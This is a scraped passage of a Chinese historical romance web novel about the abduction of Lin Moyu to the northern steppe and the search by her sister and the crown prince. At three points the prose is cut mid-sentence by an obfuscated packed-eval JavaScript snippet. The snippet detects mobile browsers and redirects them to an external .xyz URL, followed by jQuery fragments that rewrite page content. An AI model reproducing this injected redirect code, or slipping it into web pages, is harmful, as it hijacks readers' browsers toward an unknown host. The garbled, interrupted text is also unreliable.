林默言已无力再多说什么,对着他再度点了点头。秦初心中急切,转身欲走。刚一迈开脚步,一旁的林默言就直挺挺的倒了下去。 林默言奔波已久,好几日没有合眼。此刻终于将事情交代完毕,便再也支撑不在这疲惫的躯壳,晕了过去。 “言儿!”秦初一惊,慌忙将她扶了起来。摇晃了几下无甚反应后,秦初立即对下人吩咐道:“快传太医来!” 秦初先是将林默言带到了太子殿内,待太医匆匆赶来后开始为她把脉。秦初站在一旁看着,很是担心。 所幸太医在检查一番后很快就得出了结论,对秦初说道:“禀太子殿下,林小姐并无大碍,应当只是劳累过度晕过去了。好生静养几日,便会有所好转。” 秦初终于松了口气,说道:“知道了,你先退下吧。记得抓一些调理身体的药材送去林府。” 太医对着秦初行了一礼,毕恭毕敬的退下前去抓药了。 听到林默言并无大碍后,秦初便放下心来,开始把更多的注意力放到林默语失踪的事情上。 秦初对下人吩咐道:“照顾好言儿,务必要谨慎仔细些。”处理好这件事情后,秦初赶紧前去调派人手,开始着重寻找语儿的踪迹。 待林默言再次睁眼时,已是第二日的傍晚了。她太久没有合眼,这一昏睡,便是整整两天时间。 林默言艰难的起身,只觉得浑身瘫软。待她恢复一些意识后,发现自己此刻已躺在林府自己的房间中了。再一转眼,看到了守在她身边的父亲。 林瞻远此刻也满是倦容,大女儿昏睡不醒,二女儿失踪不见,这对于他而言打击实在是太大了。平日里在朝堂中雷厉风行位高权重的他此刻也尽显老态。 “言儿,你终于醒了。”见到林默言终于醒了过来,此刻林瞻远的心中才略微好受了些。这两日他一边守着林默言一边四处查探林默语的消息,已是身心俱疲。 “爹爹……”林默言开口,声音微微有些颤抖,她十分无力的开口道:“语儿呢?找到了吗?” 林瞻远摇了摇头,有些心疼的伸出手摸了摸林默言的头发,说道:“这几日我和太子殿下已在用尽全力寻找了,可惜还未有什么消息。但爹爹一定会找到语儿的,言儿放心。” 闻言,林默言终于控制不住,原本就在眼眶中打转的泪水顺着脸颊缓缓滑落。她泪眼朦胧的看着父亲,哽咽道:“爹爹……对不起,是我把语儿弄丢了……” 林瞻远叹了口气,抬手为她擦去泪珠,安慰她道:“言儿莫要自责,这不是你的错。” 从洛阳到幽州的一来一往之间,正常来说是需要月余时间的,但林默言却仅用了一半的时间,可想而知她会有多么的劳累。林默语不见了,她比任何人都要着急。 “不行,我不能再这样躺着了。我要去找她!”林默言狠狠摸了一把眼泪,作势就要起身。 林瞻远伸手拦住了她,重新将她按回了床上,语重心长道:“言儿,爹爹知道你时刻都在记挂着语儿,但你也要先把身体养好才行。况且现在已经派出很多人前去各地探查了,无论如何都会有个结果的。” 林默言的心中万分难受,但她也知道现在自己这样的状况就算是去了也帮不上什么忙。父亲也阻拦着她,她只得作罢。 林瞻远命下人端来了早就已经煎好的药,呈到林默言的面前。看着她喝下去后,林瞻远说道:“爹爹先去处理一些事务,然后再同太子殿下整合一下关于语儿的消息。言儿再好好歇会儿吧。” 林默言靠在床边,无力的点了点头。 这几日似乎有十分要紧的事需要处理,拓跋宇很是忙碌,不再整日都缠着她,林默语终于得了几日清静。 这几日里,她偶尔会去骑马或是练箭,顺带着探了探此地区的大致地形情况,暗暗思索着她能不能仅凭自己一人就走出去。 待熟悉此地后,她说不定真的可以逃出去。但能不能走远,就又是另外一回事了。 林默语独自一人在马场缓缓走着,正出神时,忽觉后背发凉,隐隐有杀气传来。这种感觉甚是熟悉,林默语素来谨慎且身手敏捷,她反应极快,一转身轻盈避开了向她飞来的暗器。那飞刀越过她,径直插入了前方的木桩里。 不出所料,又是那一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786173|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日的那位少女。林默语皱着眉头看向她,眼中寒光闪烁。 呼延明婉本以为林默语会是一个中原地区典型的深宅大院中培养出的娇滴滴的深闺女子,却不曾想她会有这般身手,竟能将自己引以为傲的暗器轻松避过,不禁有些吃惊。 呼延明婉虽是失了手,但她的气势却丝毫没有弱下来。她瞪着眼前寒意森然的林默语,质问道:“你到底使了什么狐媚手段,让他对你如此死心塌地?” 林默语眼中寒意更甚,轻蔑一笑道:“你以为我愿意来到这里吗?你以为我想让他对我死心塌地吗?告诉你,我根本不稀罕!” 呼延明婉听到此话却是更加恼怒了,愤然道:“你竟敢如此践踏他的真心,你凭什么?我看你是想死!” 电光火石之间,呼延明婉已先一步对她动起手来。此刻她并没有带佩剑,且暗器在这个距离发挥不出优势,便赤手空拳与林默语相搏。 林默语当然不会是软柿子,再加上她这段时间积怨已深,遇到对方主动挑衅,丝毫不留情面的动起手来。鲜卑第一勇士她打不过,但治一治眼前这个根基不稳的小丫头还是不在话下。 呼延明婉显然低估了对方的身手,两人过招不过几轮之间,呼延明婉几乎处处吃亏。待她想要抽身时,已经来不及了。林默语出手十分狠厉,招招致命,直接一把扼住了呼延明婉的脖子。 呼延明婉被她掐的喘不过气,拼命推搡着也无济于事。林默语的手越收越紧,眼中杀意流露。但她终究还是什么真的下死手,在呼延明婉挣扎力度逐渐变小时,她松开了手。 但在呼延明婉喘气的空当,林默语转而紧紧擒住了她的双手,强行拖拽着她开始向前走。 “你要干什么?你放手!你若是敢动我,大单于一定会把你碎尸万段的!”呼延明婉剧烈挣扎着,但刚才那般属实损耗了她太多力气,她始终挣不开林默语的控制,只得被迫拖着向前走。 林默语拖拽着她,一路来到拓跋宇所在的营帐前。呼延明婉一怔,没想到她竟是想拖自己去找拓跋宇。 营帐前的守卫看到呼延公主被擒正欲上前帮忙,但又注意到了擒着她的人是林默语。想起拓跋宇曾下过命令此女子碰不得,一时之间都不敢上前。 林默语却不管这么多,直接略过他们拖拽着呼延明婉直接进入营帐。 听到动静,拓跋宇抬头。见是林默语主动来找他,拓跋宇还未来得及笑出来,便又注意到了她手中擒着的呼延明婉,嘴角的笑意变为了疑惑,问道:“语儿,你这是……” 林默语直接粗暴地拽着呼延明婉的手甩到拓跋宇身边,警告道:“管好你的女人。若是敢有下次,我不会手下留情。我可不敢确保我不会失手杀了她。” 林默语说完后,转身拂袖离开了。 一切发生的太快,拓跋宇还在懵圈之中。他正起身准备去追林默语,一旁的呼延明婉一脸委屈的拦住了他。 “喂,你现在最应该关心的是我才对吧。那个女人简直太粗暴了,她差点掐死我!”呼延明婉很是委屈的说道。 拓跋宇不用想也知道肯定是呼延明婉主动招惹的林默语,他一把推开抱住他胳膊的呼延明婉,冷冷道:“那也是你活该。等我回来再收拾你。” 拓跋宇说完,赶紧向着门外追了出去。呼延明婉看着他的背影生气的跺了跺脚,她斜眼看了一下别处准备平复心情,却意外发现了一些别的东西。 36. 第 36 章 拓跋宇火速追了出去,不由分说的上前抓住了林默语的手腕。 “你放手!”林默语奋力挣扎着,想要挣脱掉他的手。 拓跋宇却不顾她的意愿,执意要抓着她,对她说道:“语儿,你听我说,她不是我的女人。我说过我一定会好好待你的。” 林默语没有看他,冷冷道:“是或不是,与我何干?和我没有任何关系。”她不想听拓跋宇说话,也不关心他身边的女人是 谁,甚至于不想看见他。 拓跋宇强硬的伸出手揽住了她的腰,看着她说道:“怎会没有关系呢?如果你愿意的话,你会是我唯一的女人。” 林默言凝眉冷笑,目光森然的凝视着拓跋宇,轻蔑一笑道:“你凭什么会觉得你不顾我的意愿把我带到这蛮夷之地来,我还会对你死心塌地?你不如早些死了这条心吧,简直是痴心妄想。” 与此类似的话林默语曾对他说过不少,拓跋宇丝毫不在意这些刺耳的话,抬手抚上林默语的脸庞,挑起了她的下巴逼她正视着自己。 “痴心妄想?从前你就一直在说我痴心妄想,可你现在不也还是在我身边了?你们汉人常说‘强扭的瓜不甜’,可我就是偏要尝尝这强扭的瓜是什么滋味。总有一天,你定会臣服于我的。” 他那碧色的眸子中满是挑衅之色,却在不觉间又带着一丝赤诚。林默语听到他说出如此狂妄的话,一时之间竟非常生气,对着他那挑着自己下巴的手狠狠咬了一口。 某种程度上来说,能够把她气成这样,也算是一种本事。 拓跋宇万万没有料到她会做出如此举动,林默语也是第一次做如此失礼的举动,咬下去时自己都惊到了。 手上的疼痛感尤为明晰,但拓跋宇却丝毫没有要躲开的意思,任由她下口。反倒是在林默语咬了他之后,拓跋宇脸上的笑意更为放肆。 见他被咬还笑得如此开心,林默语瞬间有些无语,一时之间都不知道该骂他些什么好。看他这个样子,骂他他反而会更加开心。 林默语愤愤的松了口,斜了他一眼,转身离开。 拓跋宇看着手上那鲜红的牙印,情不自禁的笑了笑。已经咬出了血痕,还挺有劲的。他将那痕迹一再欣赏了好几遍,丝毫没有要处理伤口的意思。 寻找完林默语后,拓跋宇又重新回到营帐去找呼延明婉算账。刚一入内,他便收起了笑容,面对呼延明婉时,眼中满是不耐烦。 呼延明婉坐在他的桌子上环着手臂抬眸看向他,足底轻点着地面,笑道:“我原本还以为你是抓了个伺候你的女人呢,没想到你是从中原请了个祖宗回来供着。” 她的语气中尽是嘲讽,甚是刺耳。拓跋宇怒了,上前质问道:“你什么意思?” 呼延明婉从桌上下来,在营帐中缓缓踱步,一步一步逼近他道:“我什么意思,你不应该很清楚吗?” 她伸手指了一下这个营帐内原本并不存在的一个睡榻,笑道:“你该不会是这些天一直睡在这里吧?为了那个女人你竟然可以做到这个地步。这可不像你啊,拓跋宇。” 这个营帐拓跋宇从前只会在这里处理一些公务,所以先前是没有这个睡榻的。而他原本住的地方现在被林默语住着。并不是他不想和林默语一起睡,而是只要他一碰林默语,林默语就会以死相逼。拓跋宇只得服了一次软,搬到旁边的另一个穹庐之中。 因为他知道,林默语没有一丝一毫开玩笑的架势。若是他敢来硬的,她是真的会咬舌自尽。他知道在中原感情一事向来讲究细水长流,便也没有逼她太紧。 “依我看,你该不会是去西启呆了几个月,就真的变成了什么温文尔雅的美男子了吧?”呼延明婉的嘴丝毫不留情,对着他打趣道。 此话正好戳到了拓跋宇的痛处,他一把提住了呼延明婉的衣襟,握紧了拳。 “闭嘴!”拓跋宇冲她怒喝道。 呼延明婉知道他这是被戳到痛处恼羞成怒了,昂着下巴与他对视,嘴角笑意甚为明显。她知道拓跋宇是不敢动她的。因为敢动她,那就是与整个匈奴部族作对。 果不其然,拓跋宇只是愤愤不平的扯了一下她的衣领,便松了手。 拓跋宇冷冷看着她,说道:“我警告你,不要再去招惹她。你不要以为,我真的不敢动你。更不要觉得鲜卑族离了匈奴的结盟就不行。” 呼延明婉只是笑了笑,并未搭话。 “以及,我从来没有对你承诺过什么,是你自己一厢情愿。要与你结亲的话是拓跋涛说的,你若是想嫁,就嫁给他吧。我并不介意多一个比我年龄还小的母妃。”拓跋宇也很是清楚什么话能够激怒她,以一副气定神闲之态对她说道。 “你!”呼延明婉怒目圆睁,立马没了刚才的从容之态。她知道拓跋宇向来都非常放肆,但没想到他竟直呼着大单于的名字还说出如此大逆不道的话。 “不必多言了。请吧,这里并不欢迎你。”拓跋宇没有闲心思逗她,将她一步步推出了门外,还特地命人不许放她进来。 呼延明婉愤愤不平,却也毫无办法,只得转身离开。 拓跋宇坐在案前看着卷轴,待呼延明婉走远后,漫不经心的对着外面说道:“还不打算进来吗?一直躲在外面窥视,你可真是一如既往的擅长这种事情啊,呼延沧莫。” 只听外面一阵响动,呼延沧莫阔步走了进来,一脸淡然的看向拓跋宇。 “一直监视我,有意思吗?”拓跋宇皱眉看着他,继续说道:“有这个闲心思,你不如好好管教一下你的妹妹吧。” 呼延沧莫当然听到了方才的动静,但现在不是计较那些的时候。他瞥了一眼拓跋宇手中的卷轴,问道:“黎国主动进犯,你真的不打算领兵出征吗?” 拓跋宇懒得多分给他一个眼神,无所谓道:“江晏不在,不过是一群杂鱼而已。这件事,就让你们匈奴的那些人去办吧。莫要再来烦我了。” 他的态度坚决且语气极为不耐烦,呼延沧莫也不想再同他多说,直接转身离开了营帐。 第二日,林默言正处在浑浑噩噩的状态之中,派出去的那么多人却终于有消息传来了。林默言和秦初心急如焚,终于盼来了语儿的消息。 “禀殿下,臣领兵在沿途之地四处打探,得知了林二小姐出现的最后地方是在距京城不远处的一个沿途小镇上。自那以后,就再没出现过。”下属毕恭毕敬的对着他们二人说道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788540|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦初早已无法淡定,急切道:“接着说,还有什么线索?” 下属继续汇报道:“据探查,林二小姐是被人劫走了。结合各方线索,劫走林二小姐的……是一匹胡人。” “你说什么?”林默言惊呼道。 秦初此刻也没有心思劝她冷静,诧异道:“京城不远处,怎会有胡人?……等等,语儿离开的这个时间点,貌似与拓跋宇重合上了。难道说……” “不是没有这个可能。他觊觎林二小姐已久,很可能是早就打探好了她的行踪趁此机会沿路埋伏,林二小姐才会遭此毒手。”萧肃听完后,在一旁分析道。此时他竟成为了场上最冷静的人。 秦初觉得萧肃所说很有道理,喃喃道:“若真是如此的话,那语儿现在岂不是已经被带到了漠北?”秦初攥紧了拳头,手已经在微微发抖。 一旁的林默言已逼近崩溃,早已失去了思考能力。在听完他们的分析之后,林默言已经快要疯了。 “漠北?语儿若是真的被劫持到了此等蛮夷之地,那她肯定时刻处于水深火热之中。不行……我一定要去救她。我一定要……”林默言的声音都是颤抖的,她再也无法平静下来,只一门心思想着无论如何都要找到妹妹。 得知妹妹失踪后的这段时间里,林默言总是战战兢兢的,几乎快要失去理智。秦初见状赶紧拦住了她。 秦初开口道:“言儿,你先冷静一点,听我说。黎国与漠北之间起了战事,西启原本就有要援助的打算。你等着我,我即刻就回去向父皇请命提前出兵。我一定会把语儿带回来的,相信我,好吗?” 林默语失踪了,林默言心疼如刀绞,秦初又何尝不知道。但他自己亦是心痛万分,事发突然,他一时之间也束手无策。但哪怕是拼尽全力,他也一定要将她带回来。 林默言慌乱的点了点头,对他说道:“秦初你快去吧,不必安慰我了。早日找回语儿才是最要紧的事。” 看着这张与林默语一模一样的脸,秦初万分心痛。他虽能分得清眼前之人是林默言,却也不免伤怀。 秦初沉默片刻,毅然决然的走了出去,移驾前往议事殿。林默言则是浑浑噩噩的回到林府,将这个消息告知父亲。 大殿之上,秦初再次跪在了秦建忠面前。而秦建忠依旧一脸愤怒的看着他。 “秦初,你现在要为了一个女人征战漠北?你这般作为,可有把这江山社稷黎民百姓放在眼里?”秦建忠拍案而起,只差把奏章甩到秦初脸上。 “父皇,关于征战漠北的益处儿臣已经说过无数遍了,您为何就是不听呢?”秦初声嘶力竭道。 “无稽之谈!此事你休想。来人呐,将太子押回殿内,禁足!”秦建忠愤怒道。 御前侍卫涌上前来,却也不敢真的拿秦初怎么样。 秦初失望道:“父皇,您总是这样。您除了关我禁闭,您还能怎样?儿臣只知道,若是广平王今日坐在这里,他早已协助黎国踏平漠北了。” “放肆!”秦初触碰到了他的逆鳞,秦建忠一气之下,笔墨纸砚,齐齐甩到了秦初身上。 秦初躲也不躲,就这样静静的承受着。随后跟着御前侍卫走了出去,前往太子殿禁足。 37. 第 37 章 快要入冬之际,漠北也下起了鹅毛大雪。此时天寒地冻,行进的路程十分艰难。但依照江晏的经验来看,这个时候是万万不能停军休息的。距离驻扎点还有不到二十里的路程,他需要带领大军一鼓作气到达驻扎点。 选在这个时候出征漠北,为的就是一个出其不意。江晏早已习惯了这艰苦的条件,没有任何的抱怨,带领着大军艰难前行着。 徐老将军借着微光瞧了瞧前方,再低头看了一眼自己手中的罗盘,对江晏说道:“八皇子殿下,已经快要逼近祁连山了。” 江晏闻言点了点头,对着身后的大军呐喊道:“将士们,随我继续前行,胜利就在眼前!” 军中士气略有低迷,但听到主帅的呐喊后,众将士也纷纷回应着鼓舞士气。 距出发已过去半个多月了,这一路行军甚是劳累。江晏决定到达驻扎点后为将士们宰几只牛羊体恤一番,也好恢复士气。 山遥路远,风雪相催。浩浩大军行于这漫天的雪色之中,寂静苍凉。 林默语立于穹庐之前,凝望着这片广袤无垠的漠北大地。雪花纷纷扬扬洒落,裹挟着呼啸的风声,将苍茫大地覆盖为皑皑雪白色。 狂风吹动落雪,在天地之间肆意的狂舞着。一眼望去,远处山峰连绵起伏,银装素裹。静静的屹立于天地之间,威严而又神秘。 前几日纵马骑行的草场之上,也被积雪深深覆盖。白茫茫的一片上,唯有纵横交错的马蹄印异常醒目。 呼啸的北风穿梭在雪幕之中,发出低沉悲鸣。那风卷着雪粒子,不经意间打在了林默语的脸上,刺骨且疼。 林默语摸了摸自己的脸庞,已被冻的有些发麻。她叹了口气,重新回到了营帐内。来到这里的每时每刻,她都在思念着自己的家乡和亲人。但她却什么也做不了,只能如行尸走肉一般在这里卑微的活着。 在穹庐之中待了一会儿后,林默语的脸恢复了知觉。她凝视着铜镜之中自己那张被许多人夸赞倾国倾城的脸,一时之间不知这是福还是祸。 林默语看着铜镜,心中的悲戚之感油然而生。阔别已久,她真的好想姐姐,好想父亲,好想回到洛阳。 她不禁开始胡思乱想起来。若是她逃不出去怎么办?若是她一直被困在这个鬼地方怎么办? 恍惚之间,她突然又想起了幼时姐姐曾对她说过的一句话。 “如果有一天,我们分开了,你要是想姐姐的话,就在自己的下巴上点一颗痣。这样就可以见到姐姐了。” 林默语愣神片刻,提笔为自己的下巴上点了一颗美人痣,位置与姐姐的一模一样。她看着铜镜中现在已和姐姐别无二致的脸,学着姐姐的样子扬起一个明媚的笑脸。 如此这般,她的心中终于有了一些慰藉。 林默语收起铜镜,安静的坐了一会儿后,迎着风声,拓跋宇再次到访。 拓跋宇进来后,先是将一些精心制作的食物摆到她的面前,然后往火盆之中再添了一些柴火。 “这几日越发冷了,你应该不太适应这样的气候。我已经命人为你量身定做了些衣服,过几日就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788541|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会为你送来。”拓跋宇说道。 林默语依旧没有回答他什么。拓跋宇看向她,这才发现了她今日在下巴上点了一颗美人痣。 拓跋宇走上前抬起她的脸,甚是怜惜的轻轻摸了摸,手指在那颗痣前顿然停下,问道:“据我观察,你和你的姐姐,好像就只有这一点不同之处吧?你为何总要点痣呢?做自己不好吗?” 林默语只回了他一个淡淡的眼神。她不用开口,拓跋宇也知道她是想说“与你何干”。 “你这是,想家了吗?”拓跋宇突然又意识到了这个问题。 林默语还是不说话。拓跋宇看着这颗痣只觉得莫名的心烦,抬手抚过她的下巴,为她擦去了这颗痣。 无论他干什么,林默语依旧没有反应。拓跋宇看着她叹了口气,突然开口问道:“来这里这么久了,我就从来没有见你笑过。你就不能笑一笑吗?” 林默语依旧不说话,甚至也没有什么反应。 拓跋宇凝视着她,继续问道:“你在那位太子殿下面前,也是这样的吗?” 闻言,林默语终于有了一些反应。听他提起秦初,林默语转头看向了他,看着他的眼中满是厌恶。半晌,林默语开口说道:“你不配提他。” “你喜欢他,对吧?”拓跋宇接着追问。 然而林默语在说完那句话后便又恢复了淡漠的神情,不再答话。 “无论是哪一方面,我都不比他差。总有一天,我会让你忘了他的。”拓跋宇说着,不由分说的按住了她,在她的额间落下轻柔一吻。